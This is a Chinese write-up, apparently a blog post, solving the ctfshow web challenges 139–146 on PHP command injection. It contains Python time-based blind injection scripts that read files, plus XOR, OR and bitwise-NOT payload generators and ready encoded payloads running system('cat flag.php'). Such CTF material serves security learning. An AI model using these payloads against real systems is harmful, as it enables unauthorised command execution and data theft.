ctfshow——web入门139~146

web入门139

类似136,但是没有写入的权限

官方的payload:

import requests
import time
import string
 
str = string.ascii_letters + string.digits + '_~'
result = ""
 
for i in range(1, 10):  # 行
    key = 0
    for j in range(1, 15):  # 列
        if key == 1:
            break
        for n in str:
            # awk 'NR=={0}'逐行输出获取
            # cut -c {1} 截取单个字符
            payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n)
            # print(payload)
            url = "http://984e57b0-32df-4cad-a268-ae816b0f9185.challenge.ctf.show/?c=" + payload
            try:
                requests.get(url, timeout=(2.5, 2.5))
            except:
                result = result + n
                print(result)
                break
            if n == '~':
                key = 1
                result += " "
 
print("Final result:", result)

发现f149_15_h3r3

import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
key=0
for j in range(1,45):
    print(j)
    if key==1:
        break
    for n in str:
        payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
        #print(payload)
        url="http://984e57b0-32df-4cad-a268-ae816b0f9185.challenge.ctf.show/?c="+payload
        try:
            requests.get(url,timeout=(2.5,2.5))
        except:
            result=result+n
            print(result)
            break

将其读取出来

这里是使用了时间盲注,|管道符将 cat /f149_15_h3r3 的输出作为后面的输入 ,因为flag的格式已知,除了{}由44个字符组成,然后通过对str便利,如果if成立,sleep 3

设置超时为2.5秒,如果服务器响应时间超过这个值(由于 sleep 3),则认为条件为真,即找到了正确字符

web入门140

因为最后一步是弱比较,而ctfshow会转化为0,所以就要让intval($code)为0

然后因为这里变量后面加了(),所以是吧变量名当函数调用,f1,f2都要是函数名

有多种解法

$code

1,字母开头的字符串

字符串形式的字母或数字(如 "a", "b123", 等),在 PHP 中,任何以字母开头的字符串在转换为整数时通常会被视为 0。

2,空字符串 "" 和 "0":在转换为整数时也是 0。

3,空数组:空数组 array() 在转换为整数时会被视为 0。

4,整数 0:直接返回整数 0。

5,布尔值 false:布尔值 false 在转换为整数时会被视为 0。

f1=usleep&f2=usleep

f1=system&f2=phpinfo

f1=md5&f2=system(编码后字母开头)

f1=getdate&f2=getdate

web入门141

preg_match('/^\W+$/', $v3)

$v3 变量中的值仅包含非字母数字且非下划线的字符(例如标点符号、空格等)

那我们就要想办法在v3中构造payload

使用文件取反:

<?php
echo urlencode(~ 'system');
echo "\n";
echo urlencode(~ 'ls');
?>

%8C%86%8C%8B%9A%92 %93%8C

%93%8C

tac flag.php :%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F

1-phpinfo()-2也是可以执行的

也可以使用异或算法

由此也可以构造出命令(%ff^%83)即为s

web入门142

判断v1是否为数字,然后用sleep延时

那就直接v1=0

也可以0x0

web入门143

把取反过滤了,那就用异或

大致说一下脚本怎么写:通过识别正则列出可以用来构造的字符串

代入命令找出可用的表达式

这里贴一个大佬的脚本

<?php
 
//或
function orRce($par1, $par2){
    $result = (urldecode($par1)|urldecode($par2));
    return $result;
}
 
//异或
function xorRce($par1, $par2){
    $result = (urldecode($par1)^urldecode($par2));
    return $result;
}
 
//取反
function negateRce(){
    fwrite(STDOUT,'[+]your function: ');
 
    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
 
    fwrite(STDOUT,'[+]your command: ');
 
    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
 
    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}
 
//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
    if ($mode!=3){
        $myfile = fopen("rce.txt", "w");
        $contents = "";
 
        for ($i=0;$i<256;$i++){
            for ($j=0;$j<256;$j++){
                if ($i<16){
                    $hex_i = '0'.dechex($i);
                }else{
                    $hex_i = dechex($i);
                }
                if ($j<16){
                    $hex_j = '0'.dechex($j);
                }else{
                    $hex_j = dechex($j);
                }
                if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
                }else{
                    $par1 = "%".$hex_i;
                    $par2 = '%'.$hex_j;
                    $res = '';
                    if ($mode==1){
                        $res = orRce($par1, $par2);
                    }else if ($mode==2){
                        $res = xorRce($par1, $par2);
                    }
 
                    if (ord($res)>=32&ord($res)<=126){
                        $contents=$contents.$res." ".$par1." ".$par2."\n";
                    }
                }
            }
 
        }
        fwrite($myfile,$contents);
        fclose($myfile);
    }else{
        negateRce();
    }
}
generate(2,'/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i');
//1代表模式,后面的是过滤规则

生成可用字符列表

def action(arg):
        s1 = ""
        s2 = ""
        with open("rce.txt", "r") as f:
            lines = f.readlines()
            for i in arg:
                for line in lines:
                    if line.startswith(i):
                        s1 += line[2:5]
                        s2 += line[6:9]
                        break
        output = "(\"" + s1 + "\"^\"" + s2 + "\")"
        return output
     
    while True:
        function_input = input("\n[+] 请输入你的函数:")
        command_input = input("[+] 请输入你的命令:")
        param = action(function_input) + action(command_input)
        print("\n[*] 构造的Payload:", param)

执行

system ls:("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")

system cat flag.php:("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%01%07%01%0f%08%0f"^"%7f%60%60%20%60%60%60%60%2f%7f%60%7f")

这里我们用v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")*

web入门144

check函数是检查v3是否为一个长度为1的字符串

preg_match('/^\W+$/', $v2)$v2 不含大小写字母,数字,下划线

还是使用上题的主体

payload:v1=1&v2=("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%01%07%01%0f%08%0f"^"%7f%60%60%20%60%60%60%60%2f%7f%60%7f")&v3=-

这里给一个好用的脚本

web入门145

原理还是一样

可以直接使用上题的脚本:
payload:?v1=1&v2=1&v3=|(('%13%19%13%14%05%0d')|('%60%60%60%60%60%60'))((('%03%01%14%20%06%02')|('%60%60%60%20%60%28')))|

(这里使用|来过滤)

当然我们也可以使用取反:

payload:?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~

%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)|

?v1=%0a1&v2=%0a0&v3=?(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%99%d5):

也可以这样绕过

web入门146

还是一样的

?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~

%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)|

然后也是根据前几题的脚本嗦出来

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值